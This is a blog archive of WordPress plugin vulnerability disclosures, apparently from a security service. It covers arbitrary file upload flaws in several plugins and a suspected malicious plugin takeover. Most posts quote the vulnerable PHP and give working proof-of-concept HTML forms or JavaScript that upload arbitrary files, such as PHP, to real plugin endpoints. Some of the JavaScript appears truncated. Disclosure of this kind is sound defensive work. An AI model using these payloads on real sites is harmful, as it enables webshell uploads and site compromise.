05 Feb

Our Plugin Security Checker Would Have Warned You About This Arbitrary File Upload Vulnerability in a WordPress Plugin

One of things that we do to make sure that we provide our customers with the best data on vulnerabilities in WordPress plugins is to monitor the WordPress Support Forum for threads that are related to those. Through that we recently ran across a review of the plugin user files that made this claim:

Even the simplest attack as SQL Injection can be done with this.

We then went to look into that claim. While it certainly looks like that is the case, before we got far enough in looking into that to test out what look to be the exploitable SQL injection vulnerabilities in the plugin we noticed a number of more serious issues that possibly existed in the plugin as well. We then turned our focus to the most serious of those, the possibility of an arbitrary file upload vulnerability in the plugin.

Even if you didn’t have our level of expertise you could have spotted the possibility of that issue in this plugin, as that was one of three issues our Plugin Security Checker (which  is now accessible through a WordPress plugin of its own) listed as possibly existing in the plugin at the time we were checking over it:

  • The plugin may be allowing arbitrary files to be uploaded, which could allow for malicious files to be uploaded.
  • User input is being directly output, which could lead to reflected cross-site scripting (XSS).
  • User input looks to be being output without being validated, sanitized, or escaped, which could lead to reflected cross-site scripting (XSS).

Subsequently, we improved our SQL injection checks in that to catch some of the possible instances of that in this plugin and added a check based on another possible issue in the plugin.

Looking further into this we confirmed that there is in fact an arbitrary file upload vulnerability in the plugin.

The plugin registers the function uploadHelper() to run when the <head> element of  frontend pages of WordPress is being generated:


The code in that function up to the point when the arbitrary file upload vulnerability occurs is as follows:

function uploadHelper(){
if (isset($_POST['addfiles'])){	
                  global $wpdb;
		         $upload_dir = wp_upload_dir();
                 $current_user = wp_get_current_user();
                $subDir = $current_user->ID;
                if (!empty($_POST['curr_cat'])){
					$usFolder = file_exists ( $upload_dir['basedir'].'/file_uploads/'.$subDir); 
					if (!$usFolder) {
					mkdir ( $upload_dir['basedir'].'/file_uploads/'. $subDir, 0777 , true );
					chmod($upload_dir['basedir'].'/file_uploads/'. $subDir,0777);
					$target_path = $upload_dir['basedir'].'/file_uploads/'. $subDir.'/';
					$target_path = $target_path . basename($_FILES['uploadedfile']['name']); 
					if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {

If a request is sent to a frontend page of WordPress that contains the POST inputs “addfiles” and “widge_cat” then a file sent along with the request will be uploaded.

The plugin doesn’t appear to be supported anymore as it hasn’t been updated in 5 years.

The plugin appears to contain quite a few other vulnerabilities based on what else was picked up by our Plugin Security Checker and what we saw in the code before we focused on the arbitrary file upload vulnerability.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/file_uploads/0/ when not logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]" method="POST" enctype="multipart/form-data">
<input type="hidden" name="addfiles" />
<input type="hidden" name="widge_cat" />
<input type="file" name="uploadedfile" />
<input type="submit" value="Submit" />
29 Jan

Arbitrary File Upload Vulnerability in WordPress Forms

Over at our main business we clean up a lot of hacked websites. Based on how often we are brought in to re-clean websites after another company (including many well known names) has failed to even attempt to properly clean things up, our service in general is much better than many other options out there. But when cleaning up hacked WordPress websites we throw in a couple of extras related to this service. The first being a free lifetime subscription to this service and the second being that we check over all the installed plugins using same checks we do as part of our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities.

Recently that lead to us checking the plugin WordPress Forms, which was removed from the Plugin Directory by the developer five years ago (but is still has 500+ active installs according to wordpress.org). When we did that, we found that it contained an arbitrary file upload vulnerability.

The plugin can process form submissions through WordPress’ AJAX functionality:

add_action( "wp_ajax_wp_forms_submit_form", array( &$this, "process_submition" ) );
add_action( "wp_ajax_nopriv_wp_forms_submit_form", array( &$this, "process_submition" ) );

The function that handles that, process_submition(), will save submitted files to the directory for the current year/month in the directory /wp-content/uploads/ with the following code:

$upload_dir = wp_upload_dir();
move_uploaded_file( $_FILES[$key]['tmp_name'], $upload_dir['path'] . '/' . $_FILES[$key]['name'] );

The code does try to restrict .php files from being uploaded with the following code:

if ( $_FILES[$key]['type'] == 'application/octet-stream' or $_FILES[$key]['type'] == 'application/x-httpd-php' )
	wp_die( "Error: For security reasons you can't upload application files!" );

That code isn’t effective because the “type” value it checks is user specified, so a .php file could be uploaded with the type specified as something else and it will pass that check.

While this type of vulnerability is fairly likely to be exploited if hackers are aware of it, in the case of the website we were cleaning, the plugin was deactivated, so the vulnerability could not have been exploited.

Proof of Concept

The following proof of concept will upload the selected file and put it in the current year/months’s directory inside of the /wp-content/upload/ directory.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[form ID]” with the ID for one of the forms created by the plugin.

window.addEventListener('load', function () {
 var file = {
 dom : document.getElementById("file"),
 binary : null
 var reader = new FileReader();
 reader.addEventListener("load", function () {
 file.binary = reader.result;

 if(file.dom.files[0]) {

 file.dom.addEventListener("change", function () {
 if(reader.readyState === FileReader.LOADING)

 function sendData() {

 var xmlhttp = new XMLHttpRequest();
 var boundary = "blob";
 var data = "";
 data += "--" + boundary + "\r\n";
 data += 'Content-Disposition: form-data; name="post"' + '\r\n';
 data += '\r\n';
 data += '[form ID]' + '\r\n';
 data += "--" + boundary + "\r\n";
 data += 'content-disposition: form-data; '
 + 'name="test"; '
 + 'filename="' + file.dom.files[0].name + '"\r\n';
 data += 'Content-Type: image/png\r\n';
 data += '\r\n';
 data += file.binary + '\r\n';
 data += "--" + boundary + "--";
 xmlhttp.open('POST', 'http://[path to WordPress]/wp-admin/admin-ajax.php?action=wp_forms_submit_form');
 xmlhttp.setRequestHeader('Content-Type','multipart/form-data; boundary=' + boundary);
alert('file upload attempted');

 var form = document.getElementById("form");

 form.addEventListener('submit', function (event) {

<form id="form">
<input id="file" name="file" type="file">
27 Nov

Did the WordPress Plugin Directory Know That PHP Event Calendar Contains an Exploitable Vulnerability?

A day ago we had what looks to be a request from a hacker for a file that would be located at /wp-content/plugins/php-event-calendar/server/file-uploader/index.php. That would be a file in the plugin PHP Event Calendar. In the Plugin Directory the plugin “has been closed and is no longer available for download”, but no reason is given as to why that is.

In looking around we couldn’t find any public disclosure of a security issue related to that file.

Looking at the code in that file, /server/file-uploader/index.php, in the most recent version of the plugin it simple sets up an instance of the jQuery File Upload Plugin PHP Class library located in the file /server/file-uploader/UploadHandler.php:

error_reporting(E_ALL | E_STRICT);
$custom_dir = $_REQUEST['custom_dir'];
$upload_handler = new UploadHandler(array('upload_dir' => $custom_dir));

In the UploadHandler.php file there is no restriction placed on what type of files can be uploaded through it:

'accept_file_types' => '/.+$/i',

So any type of file can be uploaded through it, leading to an arbitrary file upload vulnerability.

Because WordPress continues to refuse to properly handle closed plugins like this, we have no idea if they have known about vulnerability and didn’t warn people about it or if the plugin was closed for some other reason.

Since this vulnerability is being exploited, we are adding the vulnerability to the free data that comes with our service’s companion plugin, so even those not yet using our service can be warned if they are using a vulnerable version of the plugin.

Worth noting here is that this vulnerability was introduced as a security fix, as the relevant changelog entry when it was added was:

Important security fix. Replace Uploadify with jQuery File Upload

As far as we can tell what they replaced was actually more secure and had been inaccurately labeled as leading to an arbitrary file upload vulnerability (as the types of files that could be uploaded were limited).

That change seems like a good example of where our idea of providing an ability for plugin developers to submit information to WordPress on security fixes and then allowing others to review the changes could help to improve security. In the meantime we continue to offer free help to developers dealing with security vulnerabilities (that is an offer that hasn’t been taken up outside of developers we have contacted to let them know of vulnerabilities we or others have discovered).

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/plugins/php-event-calendar/server/file-uploader/.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]/wp-content/plugins/php-event-calendar/server/file-uploader/" method="POST" enctype="multipart/form-data">
<input type="file" name="files" />
<input type="submit" value="Submit" />
22 Nov

Arbitrary File Upload Vulnerability in Wallable

A month ago we wrote about how the security review of newly submitted plugins to the WordPress Plugin Directory needs improvement. One of the newly introduced plugins that lead to that post was the plugin Wallable. We came across the plugin through our proactive monitoring of changes made to plugins to try to catch serious vulnerabilities. The possible vulnerability that had been identified in the plugin was an arbitrary file upload vulnerability and when we went to look into that we found that not only did that issue exist, but the plugin was fairly insecure in a more general fashion.

In three locations in the code the plugin would upload arbitrary files. Two of those are located in the function frontend_do_tasks().  When we went to test out exploiting one of those we found that the plugin would cause a fatal error before that could happen when not logged in to WordPress.

The final location is in the function backend_do_tasks(), which based on that name, would seem to be off limits to those not logged in, but that turned out to not be the case.

Near the beginning of the plugin’s main file it checks if is_admin() is true:

if (is_admin()){

That function will tell you if “the Dashboard or the administration panel is attempting to be displayed” and can be true when not logged in to WordPress, depending on what is trying to be accessed.

If that is true, the function backend_do_tasks() will be run:

if (@$_REQUEST['mod'] == 'rawmode'){
	add_action('wp_loaded', array(&amp;$wallable_controller, 'backend_do_tasks'));

When the function backend_do_tasks() runs it doesn’t do any check as to who is trying to access it (in the file /classes/wallable_controller.php):

function backend_do_tasks() 
	//DO tasks
	$task = @$_REQUEST['wallable_task'];
	switch ($task)

When the value of the GET or POST input “wallable_task” is set to “save_items” the following code will run:

case 'save_item':
	if ((int)$_REQUEST['item_id'] &gt; 0){
		$file_name_id = $_REQUEST['item_id'];
		$query = "SELECT max(id) as max_id FROM ".$this-&gt;_db-&gt;prefix."wallable_dashboard_items";
		$rows  = $this-&gt;_db-&gt;get_results($query, OBJECT);
		$file_name_id = (int) $rows[0]-&gt;max_id;
	if (!empty($_FILES['image']['name'])){					
		$file_info = explode('.', $_FILES['image']['name']);
		$file_type = $file_info[count($file_info)-1];
		$file_name = $file_name_id.'.'.$file_type;
		if (!is_dir(wallable_upload.'/dashboard')){
		$dest_file = wallable_upload.'/dashboard/'.$file_name;
		if (move_uploaded_file($_FILES['image']['tmp_name'], $dest_file)){

That will save a file to the directory /wp-content/uploads/wallable/dashboard/ with a name based on the GET or POST input “item_id”, if specified. It doesn’t restrict what types of files can be uploaded.

We notified the developer of the issue on October 23. They responded that it would be fixed with the next upgrade. Subsequent changes have been made to the plugin, but the issue has not been fixed. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

The following proof of concept will upload the selected file to the /wp-content/uploads/wallable/dashboard/ with the file name that starts”1000.” and ends with the uploaded file’s file extension.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]/wp-admin/admin-post.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="wallable_task" value="save_item" />
<input type="hidden" name="item_id" value="1000" />
<input type="file" name="image" />
<input type="submit" value="Submit" />


  • October 23, 2017 – Developer notified.
  • October 23, 2017 – Developer responds.
16 Oct

Is This Another Case of a Malicious Takeover of a WordPress Plugin?

In our previous post we noted how we had found that the plugin Facebook Like Box had recently had a cross-site request forgery (CSRF) related vulnerability fixed. In looking over what else had recently been done with the plugin we noticed in the previous release one of the changelog entries was “Fixed Security Bugs”.

Looking at the changes made in that version several pieces of code that had been removed stood out. At first we noticed code another CSRF related vulnerability, this time the CSRF vulnerability could lead to an arbitrary file upload vulnerability (in the file /cardoza_facebook_like_box.php):


That vulnerability could have allowed an attacker to cause a logged in Administrator to upload a malicious file they didn’t intend to.

Also removed was code that would load a custom CSS file that is related to that upload capability.

What is much more concerning is very similar code to the previously shown, which is at the beginning of the file:


What is different about that code is that unlike the first code, which runs only when visiting the plugin’s settings page, this code runs anytime WordPress loads when the plugin is active or when sending a request directly to file. With that an attacker can upload malicious files to the website as long as they can access the homepage if the plugin is active or if they can access the file directly (which would normally be the case). Nowhere in the plugin is there code that would utilize code that, unlike the other file upload code removed. That all would seem to indicate that either the code was something that was replaced with the other code and accidentally left in or that it was intended to be there for malicious purposes.

What makes this code more problematic for those hoping to be protected by a security plugin is that the file being uploaded is not sent with the request, but requested from another website. In previous testing we found that a few security plugin could provide some protection when the file being uploaded is included with the request, but none of provided protection with a very similar vulnerability when the file was being request from another website.

Something else we noticed was that the following line was removed:


That would cause the contents of the URL at https://johnnash.info/plugin/ads.js to be loaded on admin pages as JavaScript, which could possibly have been used for malicious purposes. That URL is currently serving a blank page.

The domain johnnash.info was registered on March 15, 2017, the registrant it isn’t listed (GoDaddy’s Domains By Proxy is listed), and the website is being served through Cloudflare.

All of the previously mentioned code was added to the plugin on March 16, 2017. That change was the first made by johnnash1975 to the plugin. Three days later the only previous committer, vinoj.cardoza, changed the Contributors to johnnash1975. That was the last change they made.

On the original author’s page for the plugin on October 4 they replied to a comment with the following:

Thanks for posting your question. Sorry, I have already sold this plugin to someone else. I have forwarded your question to them.

So it appears you have someone that purchased the plugin, which has 20,000+ active installs, and then promptly added code that created a major vulnerability. It’s possible that is unintentional, but it doesn’t look good.

It would seem the Plugin Directory team believes that the current developer doesn’t have just malicious intent since they have allowed them to submit two updates. What is concerning is if they believe this was not intentional is that they have not move quicker to get a secured version out to others, as the plugin only returned to the Plugin Directory sometime since yesterday afternoon. If we have figured out something has vulnerability, you can be sure others could as well. Considering that we are behind in checking over changes to plugins that lead us to notice this, hackers have already had nearly two weeks since the changes were made to realize there is an issue and start exploiting it (maybe they already are).

The Plugin Directory didn’t require the new developer to update the plugin to list them as the developer before restoring the plugin, which seems like something that absolutely should have been done based on what has happened with the plugin.

If someone had already realized the true scope issue, not disclosing that fact so far seems to be a questionable decision.


Get Alerted to This Type of Situation

For situations like this, where we become aware that there is likely intentionally malicious code we add that issue to the free data that comes with our services companion plugin (we also include vulnerabilities we see being exploited in that data), so using the plugin would warn you about this type of situation even if you don’t use our service. If you use our service you get warned about all publicly disclosed vulnerabilities that we are aware of (which is many more than any other provider out there is aware of). Currently you can try the service for free for a year.

The issues with this plugin would have been picked up by the security reviews we do, which can be purchased or if you are paying a customer you get to suggest/vote for plugins to get a review from us.

If you become aware of a plugin where you suspect there has been something like this done to it, we would appreciate if you would notify us of the situation so that we can look into it. You can also notify the Plugin Directory of it.

Proof of Concept

While it is very easy to exploit this vulnerability and we don’t think hackers would have any problem figuring it out themselves, we will hold back on including it here for the moment. If someone needs that right away, get in touch with us.

20 Sep

Arbitrary File Upload Vulnerability in All Post Contact Form

Through the proactive monitoring of changes in WordPress plugins for serious vulnerabilities we do, we recently found an an arbitrary file upload vulnerability in the All Post Contact Form plugin.

When the plugins shortcode, rlallpostcontactform, is on a post or page the the file /allpost-contactform-core.php is included. In that file the following code is run:

move_uploaded_file($_FILES['attachment_file']['tmp_name'],WP_CONTENT_DIR.'/uploads/'.$_FILES['attachment_file']['name'] );

That code checks if a file is included with the request with attribute name set as  “attachment_file” and if it is then the file is saved to the directory /wp-content/uploads/.

We contacted the developer about the vulnerability a week ago, but have not heard back from them. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/.

Make sure to replace “[path to shortcode post]” with the location of the post (or page) with the shortcode “rlallpostcontactform”.

<form action="[path to shortcode post]" method="POST" enctype="multipart/form-data">
<input type="file" name="attachment_file" />
<input type="submit" value="Submit" />


  • September 13, 2017 – Developer notified.
06 Sep

Arbitrary File Upload Vulnerability in Woocommerce Product Designer

Last week we looked a recent example of the security industry vastly overstating the impact of a vulnerability, in that instance it involved a reflected cross-site scripting (XSS) vulnerability in a plugin used with the popular WordPress eCommerce plugin WooCommerce. What that situation also highlighted is the poor state of detection of vulnerabilities in WordPress plugins. Here is what the discoverer SiteLock wrote about finding it:

Our automated scanner alerted us to an XSS vulnerability on a customer’s website, which we determined was due to the WooCommerce “Product Vendors” plugin. What was unusual in this case is that the vulnerable plugin was, at the time, the most recent version, so no patches were yet available for the vulnerability. We immediately contacted Automattic concerning our findings in following our Responsible Disclosure Policy, provided all relevant information on the vulnerability, and coordinated this disclosure.

Reflected cross-site scripting (XSS) vulnerabilities are relatively common, so it sounds like their scanner is only catching very obvious vulnerabilities if spotting something like this in the current version of a plugin is uncommon for them. Since the plugin in question is not free and not accessible through the Plugin Directory it is less likely to have received the kind of scrutiny that could have caught it before.

As a recent addition to our service we started monitoring all changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities as they are added to plugins to help to better protect customers and to lesser extent everyone else (as if it gets fixed everyone is protected, but if the vulnerability isn’t fixed our customers will be warned right away and we can work with them to handle the vulnerability they have on their website). Because of how we do that monitoring it will also catch vulnerabilities that already exist in plugins if a change being made to the plugin includes the vulnerable code.

One of the types vulnerabilities we are monitoring for through that are arbitrary file upload vulnerabilities, since those are likely to be exploited by hackers. Through that we came across a possible vulnerability of that type in another WooCommerce related plugin, Woocommerce Product Designer.

In looking into that first thought the vulnerability was not exploitable because the arbitrary file uploaded would be stored in a directory with a unique named generated with uniqid(), but we then found that accessing the vulnerable code from a different function would return the location of the file to the attacker, which would allow exploitation.

The plugin makes the function generate_downloadable_file() available through WordPress’ AJAX functionality whether the request comes from someone logged in to WordPress or not (in the file /includes/class-wpd.php):

$this->loader->add_action( 'wp_ajax_generate_downloadable_file', $wpd_design, 'generate_downloadable_file' );
$this->loader->add_action( 'wp_ajax_nopriv_generate_downloadable_file', $wpd_design, 'generate_downloadable_file' );

In the function generate_downloadable_file(), which is located in the file /includes/class-wpd-design.php the name of the directory is defined and added to several variables:

$tmp_dir = uniqid();
$upload_dir = wp_upload_dir();
$generation_path = $upload_dir["basedir"] . "/WPC/$tmp_dir";
$generation_url = $upload_dir["baseurl"] . "/WPC/$tmp_dir";

If code that uploads a file is successful the location of the file is displayed:

$output_msg.="<div>" . ucfirst($part_key) . __(": please click ", "wpd") . "<a href='$generation_url/$part_key/$part_file' download='$part_file'>" . __("here", "wpd") . "</a> " . __("to download", "wpd") . ".</div>";

The uploading is handled by the file export_data_to_files(), which is also located in /includes/class-wpd-design.php. The important portion was as follows in version 3.0.3:

$wpc_img_format = $_POST["format"];
$output_arr = array();
foreach ($data as $part_key => $part_data) {
	$part_dir = "$generation_dir/$part_key";
	if (!wp_mkdir_p($part_dir)) {
		echo "Can't create part directory...";
	//Part image
	$output_file_path = $part_dir . "/$part_key.$wpc_img_format";
	$moved = move_uploaded_file($_FILES[$part_key]['tmp_name']['image'], $output_file_path);

The code would upload an arbitrary file and give it name based on user input, the value of $data comes from the POST input “final_canvas_parts”.

We notified the developer yesterday and today they released version 3.0.4, which fixes the vulnerability by restricting the file extension of the uploaded file on the server to either “png” or “jpg”:

$wpc_img_format = $_POST["format"];
$allowed_extensions=array('png', 'jpg');
if(!in_array( $wpc_img_format, $allowed_extensions))
	return false;

If you are using WooCommerce it would be a good idea to make sure a high quality security review has been done of any other plugins you use because not only have there been plenty of serious security vulnerabilities, like this one, found in other plugins used with it, but since WooCommerce websites normally created WordPress accounts for customers there are more risks from other plugins that all too often lack of proper restriction of what level of users can access its functionality. Oftentimes functionality that should be only accessible to Administrator and other high level users is accessible to all users, which sometimes leads to serious vulnerabilities. For example, we found that one WooCommerce focused plugin allowed any logged in user to change the price, weight, and stock status of products. Users of our service can suggest and vote for plugins to receive a security review from us. You can also order the same type review for a plugin from us.

Proof of Concept

The following proof of concept will upload the selected file to a unique location that will be specified in the response to the request.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="generate_downloadable_file" />
<input type="hidden" name="final_canvas_parts[test]" value='test' />
<input type="hidden" name="format" value="php" />
<input type="file" name="test[image]" />
<input type="submit" value="Submit" />


  • September 5, 2017 – Developer notified.
  • September 6, 2017 – Developer responds.
  • September 6, 2017 – Version 3.0.4 released, which fixes vulnerability.
14 Jun

Vulnerability Details: File Manager Access Vulnerability in WP File Manager

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

When it comes to functionality in plugins that has high potential for abuse, you would hope that developers would be ...

To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for half off (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

20 Apr

Arbitrary File Upload Vulnerability in WooCommerce Catalog Enquiry

One of the ways we keep track of vulnerabilities in WordPress plugins so that we can provide our customers with the best data on vulnerabilities in WordPress plugins is by monitoring the Support Forum on wordpress.org for threads related to those. Through that yesterday we came across a thread discussing that the demo website for the plugin WooCommerce Catalog Enquiry contained malware. It suggested that it was possible the issue was related to a vulnerability in the plugin. Looking over the code we quickly found an arbitrary file upload vulnerability in the plugin, which could allow an attacker to upload malicious files to the website. It isn’t clear if the demo website was exploited through this or if the vulnerability has been exploited yet and we haven’t seen evidence through other channels we monitor of any exploitation, but considering the ease we had finding it would be good idea to assume this is already being exploited at this point.

WordPress Forum Moderators Interrupt Responsible Disclosure

We notified the developer of the plugin of the issue yesterday, but have yet to hear back from them. This morning the thread had been updated with a response from the developer that read in part:

Just to inform you, this issue has not generated from our plugin. A third party plugin was causing this.

There wasn’t any explanation as to the source of the malware beyond that and the demo website still contained the malicious code at that time, so we suspect that the developer probably didn’t actual know what the source was.

We responded, letting them know that the malware still being on the demo website and letting them know that we had contacted them about the vulnerability. For some reason a forum moderator removed most of our reply and left this message:

As we have mentioned before, please report plugin security vulnerabilities following the guide at https://developer.wordpress.org/plugins/wordpress-org/plugin-security/reporting-plugin-security-issues/ so that they can be handled properly by the right people, and please do not publicly disclose security vulnerabilities here.

Not only had we not disclosed any vulnerability there (the main point of our message was to try to get the vulnerability fixed before we needed to disclose it), but the guidelines they linked to actually stated at the time:

In the case of serious exploits, please keep in mind responsible and reasonable disclosure. Every attempt to contact the developer directly should be made before you reported the plugin to us (though we understand this can be difficult – check in the source code of the plugin first, many developers list their emails).

Which is what we were in the process of doing. The thread goes on from there with more troubling lack of understanding from forum moderators and the security team (which is far too common an occurrence in our experience).

Deciding when we disclose vulnerabilities is problematic to say the least, because we have an obligation to notify our customers of vulnerabilities in the plugins they use promptly as that is what they are paying us for, but we will also want to limit the additional damage that can be done by vulnerabilities even for those not using our service. The longer we wait the higher the chances one of our customer could be impacted by a vulnerability they should have known about, but waiting could limit damage on a wider scale. We try to balance in our formal disclosure policy and by publicly disclosing vulnerabilities we have discovered so that our customers are not alone in knowing there is an issue (though other WordPress plugin vulnerability data providers don’t seem to do a good job of including those vulnerabilities). For vulnerabilities that are already likely being exploited we also add them to the free data that comes with our services companion plugin, to further limit the damage.

By comparison the WordPress thinks it is appropriate to never warn people about vulnerable plugins that are being exploited until they are fixed, despite the fact that some of those are never fixed, leaving website open to being exploited indefinitely.

The forum moderators also removed the plugin from the Plugin Directory, which will slow down the possibility of fixing the plugin since additional steps have to happen for a fixed version to be released to the public, so we are disclosing the vulnerability now. We had hoped to hold off until there was a fix, if it was quick in coming, but the forum moderators decided to interrupt the process.

Seeing as the vulnerability may already being exploited we are adding it to the free data in our service’s companion plugin, so even those not using the service will get notified if they are using a vulnerable version. Though for those running WooCommerce on their website (as we do), using our service is a good idea as you likely have sensitive data passing through or being stored on your website and this isn’t the only time a plugin for WooCommerce has had a serious vulnerability. We previously found two other arbitrary file upload vulnerabilities in plugins for it and there was another vulnerability found in one last year that would expose order data, which we found that no security plugins would protect against.

Vulnerability Details

The vulnerability involves the function send_product_enqury_mail() located in the file /classes/class-wc-Woocommerce-Catalog-Enquiry-ajax.php. That function is made available through WordPress’ AJAX functionality to those logged in to WordPress and those not logged in:

add_action('wp_ajax_send_enquiry_mail', array&amp;$this, 'send_product_enqury_mail') );
add_action( 'wp_ajax_nopriv_send_enquiry_mail', array( &$this, 'send_product_enqury_mail' ) );

As of version 3.0.0 the function has the following code that would take a file sent with a request to that function and save it to the filesystem:

	// create catalog enquiry sub directory within uploads
	$upload_dir = wp_upload_dir();
	$catalog_enquiry = $upload_dir['basedir'].'/catalog_enquiry';
	if ( ! file_exists( $catalog_enquiry ) ) {
	    wp_mkdir_p( $catalog_enquiry );
	foreach ($_FILES['fileupload'] as $key => $value) {
        $_FILES['fileupload'][$key] = $value[0]; 
    $woo_customer_filesize = 2097152;
    if(isset($settings['filesize_limit']) && !empty($settings['filesize_limit'])){
    	$woo_customer_filesize = intval($settings['filesize_limit'])*1024*1024;
    // Check file size
	if ($_FILES['fileupload']['size'] < $woo_customer_filesize) {
		$target_file = $catalog_enquiry.'/'.basename($_FILES['fileupload']['name']);
	    if (move_uploaded_file($_FILES['fileupload']['tmp_name'], $target_file)){
			    	$attachments[] = $target_file; 

That code doesn’t limit what files can be uploaded or in some way restrict access to them. It isn’t clear to us why the files are being saved to the filesystem since the uploading them seems to be so that they can be sent in an email later in the function.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/catalog_enquiry/.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="send_enquiry_mail" />
<input type="file" name="fileupload[0]" />
<input type="submit" value="Submit" />


  • April 19, 2017 – Developer notified.
  • April 20, 2017 – Plugin removed from WordPress.org Plugin Directory.
  • April 20, 2017 – Vulnerability added to free data in our service’s companion plugin.
  • April 24, 2017 – Plugin returns to Plugin Directory with fixed version.
06 Mar

Vulnerability Details: Authenticated Arbitrary File Upload Vulnerability in Profile Builder

One of the ways that we collect the data to provide our customers with the best information on vulnerabilities in WordPress plugins is by monitoring for mentions that new versions of plugins include security fixes and figuring out if any vulnerabilities have been fixed in the new version. We have found that in many cases that the discover of vulnerabilities do not put out a report on ...

To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for half off (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.